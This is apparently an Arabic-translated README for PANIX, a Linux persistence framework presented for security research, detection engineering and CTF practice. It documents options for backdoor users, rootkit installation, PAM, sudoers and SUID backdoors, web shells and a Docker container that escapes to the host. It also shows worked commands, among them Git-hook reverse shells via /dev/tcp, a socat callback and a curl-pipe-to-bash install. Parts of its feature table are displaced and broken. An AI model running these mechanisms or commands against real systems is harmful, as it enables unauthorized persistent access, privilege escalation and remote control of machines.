
أداة استمرارية Linux قابلة للتخصيص لأبحاث الأمن وهندسة الاكتشاف.

PANIX هو إطار عمل قوي، معياري، وقابل للتخصيص بدرجة كبيرة للاستمرارية في لينكس، مصمم لباحثي الأمن، مهندسي الاكتشاف، مختبري الاختراق، وعشاق CTF وغيرهم. بُني مع مراعاة التنوع، ويؤكد PANIX على الوظائف، مما يجعله أداة أساسية لفهم وتنفيذ مجموعة واسعة من تقنيات الاستمرارية.

يوفر PANIX مجموعة متعددة الاستخدامات من الميزات لمحاكاة وبحث آليات الاستمرارية في لينكس.
| الميزة | الوصف | الجذر | المستخدم |
|---|---|---|---|
| استمرارية مهام At | ينفذ الاستمرارية بإضافة إدخالات إلى مهام النظام. | ✅ | ✅ |
| المفاتيح المصرح بها | يضيف مفتاحًا عامًا إلى ملف authorized_keys للوصول عبر SSH. | ✅ | ✅ |
| مستخدم الباب الخلفي | ينشئ مستخدم باب خلفي بصلاحيات UID=0 (امتيازات الجذر). | ✅ | ❌ |
| مستخدم نظام الباب الخلفي | يخترق مستخدم نظام (وصول SSH إلى news/nobody). | ✅ | ❌ |
| ملف /etc/passwd مخترق | يضيف مباشرة إدخال مستخدم خبيث إلى /etc/passwd. | ✅ | ❌ |
| ملف /etc/init.d مخترق | يؤسس الاستمرارية عبر SysVinit (/etc/init.d). | ✅ | ❌ |
| ملف /etc/rc.local مخترق | يؤسس الاستمرارية عبر التحكم بالتشغيل (/etc/rc.local). | ✅ | ❌ |
| قشرة مرتبطة | يشغّل قشرة مرتبطة مُعدّة مسبقًا/LOLBin للوصول عن بُعد. | ✅ | ✅ |
| باب خلفي للصلاحيات | يضيف قدرات محددة إلى الملفات التنفيذية للحفاظ على الاستمرارية. | ✅ | ❌ |
| استمرارية مهام Cron | يُعدّ مهام cron لضمان الاستمرارية عبر إعادة التشغيل. | ✅ | ✅ |
| إنشاء مستخدم | ينشئ حساب مستخدم جديد على النظام. | ✅ | ❌ |
| باب خلفي لـ D-Bus | ينشئ خدمة D-Bus للوصول إلى قشرة عكسية بصلاحيات الجذر. | ✅ | ❌ |
| روتكيت Diamorphine | يثبّت روتكيت Diamorphine Loadable Kernel Module. | ✅ | ❌ |
| استمرارية Initramfs | يحقن مستخدم باب خلفي بـ UID=0 في initramfs عند إعادة التشغيل. | ✅ | ❌ |
| استمرارية Git | يستخدم خطافات Git أو أدوات التصفح للاستمرار داخل مستودعات Git. | ✅ | ✅ |
| استمرارية المولّدات | يستغل مولّدات systemd لإنشاء خدمات دائمة. |

يقدم PANIX دعمًا شاملًا عبر توزيعات Linux المختلفة.
قد تحتوي توزيعات Linux المخصصة أو القديمة على تكوينات مختلفة أو تفتقر إلى ميزات محددة، مما يتسبب في فشل الآليات على الإصدارات غير المُختبَرة. إذا فشل أمر افتراضي، استخدم علامة --custom المتوفرة في معظم الميزات لضبط المسارات والأوامر لبيئتك. راجع البرنامج النصي وعدّله ليناسب احتياجاتك إذا لم يحل ذلك المشكلة.
المساهمات عبر طلبات السحب أو القضايا للميزات الجديدة أو التحديثات أو الأفكار مرحب بها دائمًا!

تم تصميم مستودع PANIX لتحقيق النمطية وقابلية الصيانة وسهولة التوسيع. تتضمن كل آلية استمرارية نصوص إعداد وتراجع، مما يبسط الإدارة والإزالة.```plaintext PANIX/ ├── main.sh # Core logic and argument parsing. ├── modules/ # Persistence mechanism scripts. │ ├── common.sh # Shared functions. │ ├── setup_*.sh # Setup scripts. │ └── revert/ # Revert scripts. ├── build.sh # Builds the distributable script. ├── panix.sh # Final distributable script. └── README.md # Documentation.
## الفوائد الرئيسية
- **إعداد واسترجاع مترافقان**: لكل `setup_*.sh` ملف مقابل `revert_*.sh`، مما يضمن إزالة سهلة لآليات الاستمرارية.
- **تصميم نمطي**: عدّل الوحدات الحالية أو أضف وحدات جديدة بسهولة دون التأثير على السكربت الأساسي.
- **توسيع بسيط**: لإضافة وظيفة جديدة:
1. أنشئ `setup_*.sh` جديدًا داخل `modules/`.
2. أضف `revert_*.sh` مقابلًا داخل `modules/revert/`.
3. حدّث `main.sh` لتضمين السكربتات الجديدة.
4. حدّث `common.sh` لتضمين الوحدة في قائمة المساعدة.
4. شغّل `build.sh` لتوليد `panix.sh` المحدّث.

# البدء
تشغيل PANIX بالغ البساطة؛ كل ما عليك فعله هو تنزيل السكربت من [صفحة الإصدارات](https://github.com/Aegrah/PANIX/releases/tag/panix-v2.1.0) وتنفيذه:```
curl -sL https://github.com/Aegrah/PANIX/releases/download/panix-v2.1.0/panix.sh | bash
أو قم بتنزيله وتنفيذه يدويًا:```
curl -sL https://github.com/Aegrah/PANIX/releases/download/panix-v2.1.0/panix.sh -o panix.sh wget https://github.com/Aegrah/PANIX/releases/download/panix-v2.1.0/panix.sh -O panix.sh
chmod +x panix.sh ./panix.sh
سيؤدي تشغيل السكربت إلى عرض قائمة المساعدة الخاصة بـ `root` أو `user`، اعتمادًا على الصلاحيات التي يمتلكها المستخدم الحالي.```
panix@panix-demo:~$ sudo ./panix.sh
__
|__) /\ |\ | | \_/
| /~~\ | \| | / \
@RFGroenewoud
Root User Options:
--at At job persistence
--authorized-keys Add public key to authorized keys
--backdoor-user Create backdoor user
--backdoor-system-user Create backdoor system user
--bind-shell Execute backgrounded bind shell
--cap Add capabilities persistence
--create-user Create a new user
--cron Cron job persistence
--dbus D-Bus service persistence
--generator Generator persistence
--git Git hook/pager persistence
--grub GRUB bootloader persistence
--initd SysV Init (init.d) persistence
--initramfs Initramfs persistence
--ld-preload LD_PRELOAD backdoor persistence"
--lkm Loadable Kernel Module (LKM) persistence
--malicious-container Docker container with host escape"
--malicious-package Build and Install a package for persistence (DPKG/RPM)
--motd Message Of The Day (MOTD) persistence (not available on RHEL derivatives)
--network-manager NetworkManager dispatcher script persistence
--package-manager Package Manager persistence (APT/YUM/DNF)
--pam Pluggable Authentication Module (PAM) persistence (backdoored PAM & pam_exec)
--passwd-user Add user to /etc/passwd directly
--password-change Change user password
--polkit Allow pkexec as any user through Polkit
--rc-local Run Control (rc.local) persistence
--reverse-shell Reverse shell persistence (supports multiple LOLBins)"
--rootkit Diamorphine (LKM) rootkit persistence
--shell-profile Shell profile persistence
--ssh-key SSH key persistence
--sudoers Sudoers persistence
--suid SUID persistence
--system-binary System binary persistence
--systemd Systemd service persistence
--udev Udev (driver) persistence
--web-shell Web shell persistence (PHP/Python)
--xdg XDG autostart persistence
--revert Revert changes made by PANIX' default options
--mitre-matrix Display the MITRE ATT&CK Matrix for PANIX
--quiet (-q) Quiet mode (no banner)

ينبغي أن يكون السكربت واضحًا بذاته إلى حد كبير، ومع ذلك، سيعرض هذا القسم بعض الأمثلة حول كيفية العمل مع PANIX.
كل آلية من آليات الاستمرارية لها قائمة مساعدة منفصلة:``` ruben@ubuntu2204:~$ sudo ./panix.sh --udev --help Usage: ./panix.sh --udev [OPTIONS] --examples Display command examples -default Use default udev settings --ip Specify IP address --port Specify port number --sedexp | --at | --cron | --systemd Specify the mechanism to use --custom Use custom udev settings --command Specify custom command --path Specify custom path --help|-h Show this help message
كل آلية استمرارية تحتوي أيضًا على علامة `--examples` تعرض أمثلة افتراضية ومخصصة، مما يساعد في صياغة الأمر الذي يناسبك.```
ruben@ubuntu2204:~$ ./panix.sh --git --examples
Examples:
--default:
./panix.sh --git --default --ip 10.10.10.10 --port 1337 --hook|--pager
--custom:
./panix.sh --git --custom --command "(nohup setsid /bin/bash -c 'bash -i >& /dev/tcp/10.10.10.10/1337 0>&1' > /dev/null 2>&1 &) &" --path "gitdir/.git/hooks/pre-commit" --hook
./panix.sh --git --custom --command "nohup setsid /bin/bash -c 'bash -i >& /dev/tcp/10.10.10.10/1337 0>&1' > /dev/null 2>&1 & ${PAGER:-less}" --path "~/.gitconfig --pager"
معظم آليات الاستمرارية بسيطة جدًا، ولن تتطلب (كما نأمل) الكثير من الشرح. على سبيل المثال، يمكن إعداد استمرارية systemd ببساطة عبر تنفيذ:``` ruben@ubuntu2204:~$ sudo ./panix.sh --systemd --default --ip 10.10.10.10 --port 1337 Service file created successfully! Timer file created successfully! Created symlink /etc/systemd/system/timers.target.wants/dbus-org.freedesktop.resolved.timer → /usr/local/lib/systemd/system/dbus-org.freedesktop.resolved.timer. [+] Systemd service persistence established!
عند إعداد آلية استمرارية، سيُخبرك البرنامج النصي ما إذا كانت ناجحة، وفي الحالات التي تكون فيها المعلومات مطلوبة للعمل مع آلية الاستمرارية، يتم توفير معلومات إضافية. على سبيل المثال آلية bind shell:```
ruben@ubuntu2204:~$ sudo ./panix.sh --bind-shell --default --architecture x64
[+] Bind shell binary /tmp/bd64 created and executed in the background.
[+] The bind shell is listening on port 9001.
[+] To interact with it from a different system, use: nc -nv <IP> 9001
[+] Bind shell persistence established!
مما يسمح لك بالتفاعل مع bind shell:``` ❯ nc -nv 192.168.211.130 9001 (UNKNOWN) [192.168.211.130] 9001 (?) open whoami root
وينطبق الأمر نفسه على الآليات التي تحتوي على ميزات مدمجة إضافية مثل آلية استمرارية Docker، مع هروب مدمج من المضيف الجذر:```
ruben@ubuntu2204:~$ sudo ./panix.sh --malicious-container --ip 192.168.211.131 --port 330
[+] Building 10.4s (9/9) FINISHED docker:default
=> [internal] load build definition from Dockerfile 0.0s
=> => transferring dockerfile: 722B 0.0s
=> [internal] load metadata for docker.io/library/alpine:latest 2.1s
=> [internal] load .dockerignore 0.0s
=> => transferring context: 2B 0.0s
=> [1/5] FROM docker.io/library/alpine:latest@sha256:b89d9c93e9ed3597455c90a0b88a8bbb5cb7188438f70953fede212a0c4394e0 0.8s
=> => resolve docker.io/library/alpine:latest@sha256:b89d9c93e9ed3597455c90a0b88a8bbb5cb7188438f70953fede212a0c4394e0 0.0s
=> => sha256:b89d9c93e9ed3597455c90a0b88a8bbb5cb7188438f70953fede212a0c4394e0 1.85kB / 1.85kB 0.0s
=> => sha256:dabf91b69c191a1a0a1628fd6bdd029c0c4018041c7f052870bb13c5a222ae76 528B / 528B 0.0s
=> => sha256:a606584aa9aa875552092ec9e1d62cb98d486f51f389609914039aabd9414687 1.47kB / 1.47kB 0.0s
=> => sha256:ec99f8b99825a742d50fb3ce173d291378a46ab54b8ef7dd75e5654e2a296e99 3.62MB / 3.62MB 0.4s
=> => extracting sha256:ec99f8b99825a742d50fb3ce173d291378a46ab54b8ef7dd75e5654e2a296e99 0.2s
=> [2/5] RUN apk add --no-cache bash socat sudo util-linux procps 4.4s
=> [3/5] RUN adduser -D lowprivuser 0.6s
=> [4/5] RUN echo '#!/bin/bash' > /usr/local/bin/entrypoint.sh && echo 'while true; do /bin/bash -c "socat exec:\"/bin/bash\",pty,stderr,setsid,sigint,sane tcp:192.168.211.131:330" 0.8s
=> [5/5] RUN echo '#!/bin/bash' > /usr/local/bin/escape.sh && echo 'sudo nsenter -t 1 -m -u -i -n -p -- su -' >> /usr/local/bin/escape.sh && chmod +x /usr/local/bin/escape.sh && ec 0.8s
=> exporting to image 0.6s
=> => exporting layers 0.6s
=> => writing image sha256:b36eb0d13ee1a0c57c3e6a1ee0255ef474986f44d65b177c539b2ffb1d248790 0.0s
=> => naming to docker.io/library/malicious-container 0.0s
86ce6b00e872bb8c21d0dae21e747e830bb70b44ab7946558e563bf7f4b626ef
[+] Persistence through malicious Docker container complete.
[+] To escape the container with root privileges, run '/usr/local/bin/escape.sh'.
والذي يوضح لك بالضبط كيفية الهروب من الحاوية، والوصول إلى المضيف.``` ❯ nc -nvlp 330 listening on [any] 330 ... connect to [192.168.211.131] from (UNKNOWN) [192.168.211.130] 43400 86ce6b00e872:/$ /usr/local/bin/escape.sh /usr/local/bin/escape.sh root@ubuntu2204:~#
## آلية التراجع
يمكن لـ PANIX تنظيف آثاره من خلال أمر `--revert`. لكلٍّ من الوحدات المنفصلة:```
ruben@ubuntu2204:~$ sudo ./panix.sh --revert rootkit
######################### [+] Reverting rootkit module... #########################
[+] Sending 'kill -63 0' to unload the rootkit module...
[+] Signal sent successfully.
[+] Identifying loaded rootkit kernel modules in /dev/shm/.rk...
[+] Unloading rootkit rkit...
[+] Kernel module 'rkit' unloaded successfully.
[+] Rootkit rkit unloaded successfully.
[+] Removing kernel module files from /dev/shm/.rk...
[+] Removed file: /dev/shm/.rk/restore_rkit.ko
[+] Removed directory: /dev/shm/.rk
[+] Removing downloaded files in /tmp...
[-] Directory not found: /tmp/diamorphine
[-] File not found: /tmp/diamorphine.zip
[+] Removed file: /tmp/diamorphine.tar
[-] Directory not found: /tmp/Diamorphine.git
[+] Reloading kernel modules...
[+] Kernel modules reloaded successfully.
ولجميع الوحدات:``` ruben@ubuntu2204:~$ sudo ./panix.sh --revert all
[+] Running full reversion with --revert-all... [+] Reverting all modules...
######################### [+] Reverting revert_at... #########################
Error: 'at' binary is not present. Cannot revert 'at' jobs. [-] Failed to revert revert_at. Exit Code: 1
######################### [+] Reverting revert_authorized_keys... #########################
[-] Backup file /root/.ssh/authorized_keys.bak not found. No changes made. [+] revert_authorized_keys reverted successfully.
######################### [+] Reverting revert_backdoor_user... #########################
[+] No backdoor users found. [+] revert_backdoor_user reverted successfully.
######################### [+] Reverting revert_bind_shell... #########################
[+] Searching for bind shell processes and killing them if present... [+] revert_bind_shell reverted successfully.
[...]
[+] Reversion of all modules complete.
## MITRE ATT&CK Matrix
يحتوي PANIX على مصفوفة MITRE ATT&CK مدمجة تعرض التقنيات والتقنيات الفرعية المتاحة.```
ruben@ubuntu2204:~$ ./panix.sh --mitre-matrix
MITRE ATT&CK Matrix - Persistence Techniques Supported by PANIX
Persistence Method Technique Name Technique ID Sub-technique Name Sub-technique ID URL
------------------- -------------- ------------- ----------------- --------------- ---------------------------------------------
--at Scheduled Task T1053 At T1053.002 https://attack.mitre.org/techniques/T1053/002
--authorized-keys Account Manipulation T1098 SSH Authorized Keys T1098.004 https://attack.mitre.org/techniques/T1098/004
--backdoor-user Create Account T1136 Local Account T1136.001 https://attack.mitre.org/techniques/T1136/001
--backdoor-system-user Account Manipulation T1098 SSH Authorized Keys T1098.004 https://attack.mitre.org/techniques/T1098/004
--bind-shell Command and Scripting Interpreter T1059 Unix Shell T1059.004 https://attack.mitre.org/techniques/T1059/004
--cap Abuse Elevation Control Mechanism T1548 N/A N/A https://attack.mitre.org/techniques/T1548
--create-user Create Account T1136 Local Account T1136.001 https://attack.mitre.org/techniques/T1136/001
--cron Scheduled Task T1053 Cron T1053.003 https://attack.mitre.org/techniques/T1053/003
--dbus Create or Modify System Process T1543 N/A N/A https://attack.mitre.org/techniques/T1543
--generator Create or Modify System Process T1543 Systemd Service T1543.002 https://attack.mitre.org/techniques/T1543/002
--git Event Triggered Execution T1546 N/A N/A https://attack.mitre.org/techniques/T1546
--grub Pre-OS Boot T1542 N/A N/A https://attack.mitre.org/techniques/T1542
--initd Boot or Logon Initialization Scripts T1037 N/A N/A https://attack.mitre.org/techniques/T1037
--initramfs Pre-OS Boot T1542 N/A N/A https://attack.mitre.org/techniques/T1542
--ld-preload Hijack Execution Flow T1574 Dynamic Linker Hijacking T1574.006 https://attack.mitre.org/techniques/T1574/006
--lkm Boot or Logon Autostart Execution T1547 Kernel Modules and Extensions T1547.006 https://attack.mitre.org/techniques/T1547/006
--malicious-container Escape to Host T1610 N/A N/A https://attack.mitre.org/techniques/T1610
--malicious-package Event Triggered Execution T1546 Installer Packages T1546.016 https://attack.mitre.org/techniques/T1546/016
--motd Boot or Logon Initialization Scripts T1037 N/A N/A https://attack.mitre.org/techniques/T1037
--network-manager Event Triggered Execution T1546 N/A N/A https://attack.mitre.org/techniques/T1546
--package-manager Event Triggered Execution T1546 Installer Packages T1546.016 https://attack.mitre.org/techniques/T1546/016
--pam Modify Authentication Process T1556 Pluggable Authentication Modules T1556.003 https://attack.mitre.org/techniques/T1556/003
--passwd-user Account Manipulation T1098 N/A N/A https://attack.mitre.org/techniques/T1098
--password-change Account Manipulation T1098 N/A N/A https://attack.mitre.org/techniques/T1098
--polkit Modify Authentication Process T1556 N/A N/A https://attack.mitre.org/techniques/T1556
--rc-local Boot or Logon Initialization Scripts T1037 RC Scripts T1037.004 https://attack.mitre.org/techniques/T1037/004
--reverse-shell Command and Scripting Interpreter T1059 Unix Shell T1059.004 https://attack.mitre.org/techniques/T1059/004
--rootkit Rootkit T1014 N/A N/A https://attack.mitre.org/techniques/T1014
--shell-profile Event Triggered Execution T1546 Unix Shell Configuration Modification T1546.004 https://attack.mitre.org/techniques/T1546/004
--ssh-key Account Manipulation T1098 SSH Authorized Keys T1098.004 https://attack.mitre.org/techniques/T1098/004
--sudoers Abuse Elevation Control Mechanism T1548 Sudo and Sudo Caching T1548.003 https://attack.mitre.org/techniques/T1548/003
--suid Abuse Elevation Control Mechanism T1548 Setuid and Setgid T1548.001 https://attack.mitre.org/techniques/T1548/001
--system-binary Compromise Host Software Binary T1554 N/A N/A https://attack.mitre.org/techniques/T1554
--systemd Create or Modify System Process T1543 Systemd Service T1543.002 https://attack.mitre.org/techniques/T1543/002
--udev Event Triggered Execution T1546 Udev Rules T1546.017 https://attack.mitre.org/techniques/T1546/017
--web-shell Server Software Component T1505 Web Shell T1505.003 https://attack.mitre.org/techniques/T1505/003
--xdg Boot or Logon Autostart Execution T1547 XDG Autostart Entries T1547.013 https://attack.mitre.org/techniques/T1547/013
Legend:
Technique: High-level MITRE ATT&CK technique.
Sub-Technique: Specific sub-technique under a high-level technique.
N/A: No specific sub-technique defined for this method.
URL: Link to the official MITRE ATT&CK page for further details.

المنشورات التي يتم فيها استخدام PANIX:
لا تتردد في متابعة حساباتي على وسائل التواصل الاجتماعي للاطلاع على مستجدات أبحاث أمن (لينكس).

من خلال مشاركة PANIX، يمكنك مساعدة الآخرين في اختبار وتحسين وضعهم الأمني ودعم تطوير قدرات كشف جديدة في مجال أمن لينكس.

PANIX مخصص لأغراض اختبار الأمان والبحث المصرح بها فقط. إساءة استخدام هذه الأداة في أنشطة خبيثة غير مقبولة وتتم على مسؤولية المستخدم بالكامل. باستخدامك لـ PANIX، فأنت توافق على أنك مسؤول عن أفعالك. فقط لا ترتكب أمورًا غبية.
| ✅ |
| ❌ |
| باب خلفي لـ GRUB | يتلاعب بـ GRUB لتنفيذ باب خلفي عند الإقلاع. | ✅ | ❌ |
| حاوية خبيثة | ينشر حاوية Docker مصممة لاستضافة escape. | ✅ | ✅ |
| حزمة خبيثة | يثبّت حزمة DPKG/RPM لتحقيق الاستمرارية. | ✅ | ❌ |
| NetworkManager | يثبّت برنامج نصي للمرسل للاستمرار عند إجراءات الشبكة. | ✅ | ❌ |
| باب خلفي لـ LD_PRELOAD | يستخدم LD_PRELOAD لحقن مكتبات خبيثة للاستمرارية. | ✅ | ❌ |
| باب خلفي لـ LKM | يحمّل وحدة نواة قابلة للتحميل للحفاظ على الاستمرارية. | ✅ | ❌ |
| باب خلفي لـ MOTD | يعدّل رسالة اليوم (MOTD) لتأسيس الاستمرارية. | ✅ | ❌ |
| مدير الحزم | يتلاعب بـ APT/YUM/DNF لتأسيس الاستمرارية عند الاستخدام. | ✅ | ❌ |
| استمرارية PAM | يثبّت بابًا خلفيًا لـ PAM باستخدام وحدة مارقة أو pam_exec. | ✅ | ❌ |
| تغيير كلمة المرور | يغيّر كلمات مرور المستخدمين لتأمين حسابات الأبواب الخلفية. | ✅ | ❌ |
| باب خلفي لـ Polkit | ينشئ بابًا خلفيًا بتكوين Polkit متساهل بشكل مفرط. | ✅ | ❌ |
| قشرة عكسية | ينشئ قشرة عكسية (تدعم عدة LOLBins). | ✅ | ✅ |
| استمرارية ملف تعريف الصدفة | يعدّل ملفات تعريف الصدفة لتنفيذ البرامج النصية عند تسجيل دخول المستخدم. | ✅ | ✅ |
| استمرارية مفاتيح SSH | يتلاعب بمفاتيح SSH للحفاظ على وصول دائم عبر SSH. | ✅ | ✅ |
| باب خلفي لـ Sudoers | يعدّل ملف /etc/sudoers لمنح صلاحيات مرتفعة. | ✅ | ❌ |
| باب خلفي لـ SUID | يخترق الملفات التنفيذية بتعيين بت SUID. | ✅ | ❌ |
| باب خلفي للملفات التنفيذية للنظام | يغلّف الملفات التنفيذية للنظام لتضمين وظائف الباب الخلفي. | ✅ | ❌ |
| خدمة Systemd | ينشئ خدمات systemd تضمن الاستمرارية عند إعادة التشغيل. | ✅ | ✅ |
| استمرارية Udev | يستخدم برامج التشغيل للاستمرار على مستوى التفاعل مع العتاد. | ✅ | ❌ |
| استمرارية Web Shell | ينشر خوادم ويب للوصول عن بُعد عبر واجهات الويب. | ✅ | ✅ |
| التشغيل التلقائي XDG | يستخدم أدلة التشغيل التلقائي XDG للاستمرار عند تسجيل دخول المستخدم. | ✅ | ✅ |
| التوزيعة | الدعم | الإصدار المُختبَر |
|---|
| Debian | ✅ | Debian 11 & 12 |
| Ubuntu | ✅ | Ubuntu 22.04 (Diamorphine غير متوفر) |
| RHEL | ✅ | RHEL 9 (تقنيات MOTD والإقلاع قبل النظام غير متوفرة) |
| CentOS | ✅ | CentOS Stream 9 & 7 (تقنيات MOTD والإقلاع قبل النظام غير متوفرة) |
| Fedora | ✅ | غير مُختبَر بالكامل |
| Arch Linux | ✅ | غير مُختبَر بالكامل |
| OpenSUSE | ✅ | غير مُختبَر بالكامل |